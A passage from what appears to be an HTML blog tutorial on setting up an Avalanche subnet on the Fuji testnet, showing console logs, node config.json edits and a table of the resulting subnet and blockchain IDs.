2022-06-13T18:23:39.028Z        info    poll/poll.go:66 poll confirmed  {&quot;took&quot;: &quot;62.183781ms&quot;}
created subnet &quot;QWNhddjn6AcebaE8QRwpkL9tgiRmmdFxfHBuWqoKN5pHRWRKV&quot; (took 2.177590051s)



Now, time for some config changes on your node(s).
Set --whitelisted-subnets=QWNhddjn6AcebaE8QRwpkL9tgiRmmdFxfHBuWqoKN5pHRWRKV and move the compiled VM juedWvBi73uAL3JgXYPJsD6d2YyVPAg4xv4RRqdCzaWpTsjVj to &lt;build-dir&gt;/plugins/juedWvBi73uAL3JgXYPJsD6d2YyVPAg4xv4RRqdCzaWpTsjVj.
When you&apos;re finished, restart your node.
Use the arrow keys to navigate: ↓ ↑ → ←
  ▸ Yes, let&apos;s continue! I&apos;ve updated --whitelisted-subnets, built my VM, and restarted my node(s)!
"><code>
<span class="hljs-number">2022</span><span class="hljs-operator">-</span>06<span class="hljs-operator">-</span>13T18:<span class="hljs-number">21</span>:03.709Z        info    client<span class="hljs-operator">/</span>p.go:<span class="hljs-number">405</span> adding validator        {<span class="hljs-string">"start"</span>: <span class="hljs-string">"2022-06-13T18:21:33.678Z"</span>, <span class="hljs-string">"end"</span>: <span class="hljs-string">"2023-04-09T18:20:33.000Z"</span>, <span class="hljs-string">"stakeAmount"</span>: <span class="hljs-number">1000000000</span>, <span class="hljs-string">"rewardAddress"</span>: <span class="hljs-string">"EXBvhXRVVJhehvXTz7BJvzUtsxsWMrcdy"</span>, <span class="hljs-string">"changeAddress"</span>: <span class="hljs-string">"EXBvhXRVVJhehvXTz7BJvzUtsxsWMrcdy"</span>}
<span class="hljs-number">2022</span><span class="hljs-operator">-</span>06<span class="hljs-operator">-</span>13T18:<span class="hljs-number">21</span>:03.812Z        info    platformvm<span class="hljs-operator">/</span>checker.go:<span class="hljs-number">48</span>        polling P<span class="hljs-operator">-</span>Chain <span class="hljs-built_in">tx</span>      {<span class="hljs-string">"txId"</span>: <span class="hljs-string">"4MQfGNN5o7HTTZL562P6NxKoSfVKGiodbh2ehm7oqZ2oavemB"</span>, <span class="hljs-string">"expectedStatus"</span>: <span class="hljs-string">"Committed"</span>}
<span class="hljs-number">2022</span><span class="hljs-operator">-</span>06<span class="hljs-operator">-</span>13T18:<span class="hljs-number">21</span>:03.812Z        info    poll<span class="hljs-operator">/</span>poll.go:<span class="hljs-number">42</span> start polling   {<span class="hljs-string">"internal"</span>: <span class="hljs-string">"1s"</span>}
<span class="hljs-number">2022</span><span class="hljs-operator">-</span>06<span class="hljs-operator">-</span>13T18:<span class="hljs-number">21</span>:05.948Z        info    poll<span class="hljs-operator">/</span>poll.go:<span class="hljs-number">66</span> poll confirmed  {<span class="hljs-string">"took"</span>: <span class="hljs-string">"2.136140586s"</span>}
added 167TkRiC6RVLboo5U7TpiB6Sk4UfxN8w2 to primary network validator set (took <span class="hljs-number">2</span>.136140586s)

waiting <span class="hljs-keyword">for</span> validator 167TkRiC6RVLboo5U7TpiB6Sk4UfxN8w2 to start validating 11111111111111111111111111111111LpoYY...(could take a few <span class="hljs-literal">minutes</span>)


<span class="hljs-number">2022</span><span class="hljs-operator">-</span>06<span class="hljs-operator">-</span>13T18:<span class="hljs-number">23</span>:<span class="hljs-number">36</span>.737Z        info    client<span class="hljs-operator">/</span>p.go:<span class="hljs-number">131</span> creating subnet {<span class="hljs-string">"dryMode"</span>: <span class="hljs-literal">false</span>, <span class="hljs-string">"assetId"</span>: <span class="hljs-string">"U8iRqJoiJm8xZHAacmvYyZVwqQx6uDNtQeP3CQ6fcgQk3JqnK"</span>, <span class="hljs-string">"createSubnetTxFee"</span>: <span class="hljs-number">100000000</span>}
<span class="hljs-number">2022</span><span class="hljs-operator">-</span>06<span class="hljs-operator">-</span>13T18:<span class="hljs-number">23</span>:<span class="hljs-number">36</span>.850Z        info    platformvm<span class="hljs-operator">/</span>checker.go:<span class="hljs-number">74</span>        polling subnet  {<span class="hljs-string">"subnetId"</span>: <span class="hljs-string">"QWNhddjn6AcebaE8QRwpkL9tgiRmmdFxfHBuWqoKN5pHRWRKV"</span>}
<span class="hljs-number">2022</span><span class="hljs-operator">-</span>06<span class="hljs-operator">-</span>13T18:<span class="hljs-number">23</span>:<span class="hljs-number">36</span>.850Z        info    platformvm<span class="hljs-operator">/</span>checker.go:<span class="hljs-number">48</span>        polling P<span class="hljs-operator">-</span>Chain <span class="hljs-built_in">tx</span>      {<span class="hljs-string">"txId"</span>: <span class="hljs-string">"QWNhddjn6AcebaE8QRwpkL9tgiRmmdFxfHBuWqoKN5pHRWRKV"</span>, <span class="hljs-string">"expectedStatus"</span>: <span class="hljs-string">"Committed"</span>}
<span class="hljs-number">2022</span><span class="hljs-operator">-</span>06<span class="hljs-operator">-</span>13T18:<span class="hljs-number">23</span>:<span class="hljs-number">36</span>.850Z        info    poll<span class="hljs-operator">/</span>poll.go:<span class="hljs-number">42</span> start polling   {<span class="hljs-string">"internal"</span>: <span class="hljs-string">"1s"</span>}
<span class="hljs-number">2022</span><span class="hljs-operator">-</span>06<span class="hljs-operator">-</span>13T18:<span class="hljs-number">23</span>:<span class="hljs-number">38</span>.966Z        info    poll<span class="hljs-operator">/</span>poll.go:<span class="hljs-number">66</span> poll confirmed  {<span class="hljs-string">"took"</span>: <span class="hljs-string">"2.11540627s"</span>}
<span class="hljs-number">2022</span><span class="hljs-operator">-</span>06<span class="hljs-operator">-</span>13T18:<span class="hljs-number">23</span>:<span class="hljs-number">38</span>.966Z        info    platformvm<span class="hljs-operator">/</span>checker.go:<span class="hljs-number">88</span>        finding subnets {<span class="hljs-string">"subnetId"</span>: <span class="hljs-string">"QWNhddjn6AcebaE8QRwpkL9tgiRmmdFxfHBuWqoKN5pHRWRKV"</span>}
<span class="hljs-number">2022</span><span class="hljs-operator">-</span>06<span class="hljs-operator">-</span>13T18:<span class="hljs-number">23</span>:<span class="hljs-number">38</span>.966Z        info    poll<span class="hljs-operator">/</span>poll.go:<span class="hljs-number">42</span> start polling   {<span class="hljs-string">"internal"</span>: <span class="hljs-string">"1s"</span>}
<span class="hljs-number">2022</span><span class="hljs-operator">-</span>06<span class="hljs-operator">-</span>13T18:<span class="hljs-number">23</span>:<span class="hljs-number">39</span>.028Z        info    poll<span class="hljs-operator">/</span>poll.go:<span class="hljs-number">66</span> poll confirmed  {<span class="hljs-string">"took"</span>: <span class="hljs-string">"62.183781ms"</span>}
created subnet <span class="hljs-string">"QWNhddjn6AcebaE8QRwpkL9tgiRmmdFxfHBuWqoKN5pHRWRKV"</span> (took <span class="hljs-number">2</span>.177590051s)



Now, time <span class="hljs-keyword">for</span> some config changes on your node(s).
Set <span class="hljs-operator">-</span><span class="hljs-operator">-</span>whitelisted<span class="hljs-operator">-</span>subnets<span class="hljs-operator">=</span>QWNhddjn6AcebaE8QRwpkL9tgiRmmdFxfHBuWqoKN5pHRWRKV and move the compiled VM juedWvBi73uAL3JgXYPJsD6d2YyVPAg4xv4RRqdCzaWpTsjVj to <span class="hljs-operator">&#x3C;</span>build<span class="hljs-operator">-</span>dir<span class="hljs-operator">></span><span class="hljs-operator">/</span>plugins<span class="hljs-operator">/</span>juedWvBi73uAL3JgXYPJsD6d2YyVPAg4xv4RRqdCzaWpTsjVj.
When you<span class="hljs-string">'re finished, restart your node.
Use the arrow keys to navigate: ↓ ↑ → ←
  ▸ Yes, let'</span>s <span class="hljs-keyword">continue</span><span class="hljs-operator">!</span> I<span class="hljs-string">'ve updated --whitelisted-subnets, built my VM, and restarted my node(s)!
</span></code></pre><p>{&quot;subnetId&quot;: &quot;QWNhddjn6AcebaE8QRwpkL9tgiRmmdFxfHBuWqoKN5pHRWRKV&quot;}</p><h5 id="h-adding-your-subnetid-to-your-fuji-code-configjson" class="text-lg font-header !mt-6 !mb-3 first:!mt-0 first:!mb-0">Adding your subnetid to your Fuji code config.json</h5><p>open config.json present at ~/.avalanchego/configs/node.json on your fuji node and add following details, Replace whitelisted-subnets with the subnet Id from above.</p><pre data-type="codeBlock" text=" {
    &quot;http-host&quot;: &quot;&quot;,
    &quot;network-id&quot;: &quot;fuji&quot;,
    &quot;public-ip&quot;: &quot;44.205.74.92&quot;,
    &quot;health-check-frequency&quot;: &quot;2s&quot;,
    &quot;log-display-level&quot;: &quot;DEBUG&quot;,
    &quot;log-level&quot;: &quot;DEBUG&quot;,
    &quot;whitelisted-subnets&quot;: &quot;QWNhddjn6AcebaE8QRwpkL9tgiRmmdFxfHBuWqoKN5pHRWRKV&quot;

}
"><code> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">"http-host"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">""</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">"network-id"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"fuji"</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">"public-ip"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"44.205.74.92"</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">"health-check-frequency"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"2s"</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">"log-display-level"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"DEBUG"</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">"log-level"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"DEBUG"</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">"whitelisted-subnets"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"QWNhddjn6AcebaE8QRwpkL9tgiRmmdFxfHBuWqoKN5pHRWRKV"</span>

<span class="hljs-punctuation">}</span>
</code></pre><p>Restart your avalanchego service.</p><h5 id="h-your-subnet-details-and-blockchain-details" class="text-lg font-header !mt-6 !mb-3 first:!mt-0 first:!mb-0">Your subnet details and Blockchain details.</h5><p>Go back to your console where you ran the subnet wizard command. You will see the following lines in continutation.</p><pre data-type="codeBlock" text="2022-06-13T18:39:03.126Z        info    client/p.go:497 creating blockchain     {&quot;subnetId&quot;: &quot;QWNhddjn6AcebaE8QRwpkL9tgiRmmdFxfHBuWqoKN5pHRWRKV&quot;, &quot;chainName&quot;: &quot;amafanssubnet&quot;, &quot;vmId&quot;: &quot;juedWvBi73uAL3JgXYPJsD6d2YyVPAg4xv4RRqdCzaWpTsjVj&quot;, &quot;createBlockchainTxFee&quot;: 100000000}
created blockchain &quot;j6TJTXGmMWWBvYHsyp1bZrkiSDJVoG4FpaWz4LrTjSjpE6zxN&quot; (took 118.540399ms)

*----------------------------*---------------------------------------------------*
| PRIMARY P-CHAIN ADDRESS    | P-fuji1j38ncp5r6dpfjlt64et8cnqvcnp4yum4yfxyz6     |
*----------------------------*---------------------------------------------------*
| TOTAL P-CHAIN BALANCE      | 0.8942981 $AVAX                                   |
*----------------------------*---------------------------------------------------*
| URI                        | https://api.avax-test.network                     |
*----------------------------*---------------------------------------------------*
| NETWORK NAME               | fuji                                              |
*----------------------------*---------------------------------------------------*
| PRIMARY NETWORK VALIDATORS | [167TkRiC6RVLboo5U7TpiB6Sk4UfxN8w2]               |
*----------------------------*---------------------------------------------------*
| SUBNET VALIDATORS          | [167TkRiC6RVLboo5U7TpiB6Sk4UfxN8w2]               |
*----------------------------*---------------------------------------------------*
| SUBNET ID                  | QWNhddjn6AcebaE8QRwpkL9tgiRmmdFxfHBuWqoKN5pHRWRKV |
*----------------------------*---------------------------------------------------*
| BLOCKCHAIN ID              | j6TJTXGmMWWBvYHsyp1bZrkiSDJVoG4FpaWz4LrTjSjpE6zxN |
*----------------------------*---------------------------------------------------*
| CHAIN NAME                 | amafanssubnet                                     |
*----------------------------*---------------------------------------------------*
| VM ID                      | juedWvBi73uAL3JgXYPJsD6d2YyVPAg4xv4RRqdCzaWpTsjVj |
*----------------------------*---------------------------------------------------*
| VM GENESIS PATH            | amafanssubnet_genesis.json                        |
*----------------------------*---------------------------------------------------*
"><code><span class="hljs-number">2022</span><span class="hljs-operator">-</span>06<span class="hljs-operator">-</span>13T18:<span class="hljs-number">39</span>:03.126Z        info    client<span class="hljs-operator">/</span>p.go:<span class="hljs-number">497</span> creating blockchain     {<span class="hljs-string">"subnetId"</span>: <span class="hljs-string">"QWNhddjn6AcebaE8QRwpkL9tgiRmmdFxfHBuWqoKN5pHRWRKV"</span>, <span class="hljs-string">"chainName"</span>: <span class="hljs-string">"amafanssubnet"</span>, <span class="hljs-string">"vmId"</span>: <span class="hljs-string">"juedWvBi73uAL3JgXYPJsD6d2YyVPAg4xv4RRqdCzaWpTsjVj"</span>, <span class="hljs-string">"createBlockchainTxFee"</span>: <span class="hljs-number">100000000</span>}
created blockchain <span class="hljs-string">"j6TJTXGmMWWBvYHsyp1bZrkiSDJVoG4FpaWz4LrTjSjpE6zxN"</span> (took <span class="hljs-number">118</span>.540399ms)

<span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span>
<span class="hljs-operator">|</span> PRIMARY P<span class="hljs-operator">-</span>CHAIN ADDRESS    <span class="hljs-operator">|</span> P<span class="hljs-operator">-</span>fuji1j38ncp5r6dpfjlt64et8cnqvcnp4yum4yfxyz6     <span class="hljs-operator">|</span>
<span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span>
<span class="hljs-operator">|</span> TOTAL P<span class="hljs-operator">-</span>CHAIN BALANCE      <span class="hljs-operator">|</span> <span class="hljs-number">0</span><span class="hljs-number">.8942981</span> $AVAX                                   <span class="hljs-operator">|</span>
<span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span>
<span class="hljs-operator">|</span> URI                        <span class="hljs-operator">|</span> https:<span class="hljs-comment">//api.avax-test.network                     |</span>
<span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span>
<span class="hljs-operator">|</span> NETWORK NAME               <span class="hljs-operator">|</span> fuji                                              <span class="hljs-operator">|</span>
<span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span>
<span class="hljs-operator">|</span> PRIMARY NETWORK VALIDATORS <span class="hljs-operator">|</span> [167TkRiC6RVLboo5U7TpiB6Sk4UfxN8w2]               <span class="hljs-operator">|</span>
<span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span>
<span class="hljs-operator">|</span> SUBNET VALIDATORS          <span class="hljs-operator">|</span> [167TkRiC6RVLboo5U7TpiB6Sk4UfxN8w2]               <span class="hljs-operator">|</span>
<span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span 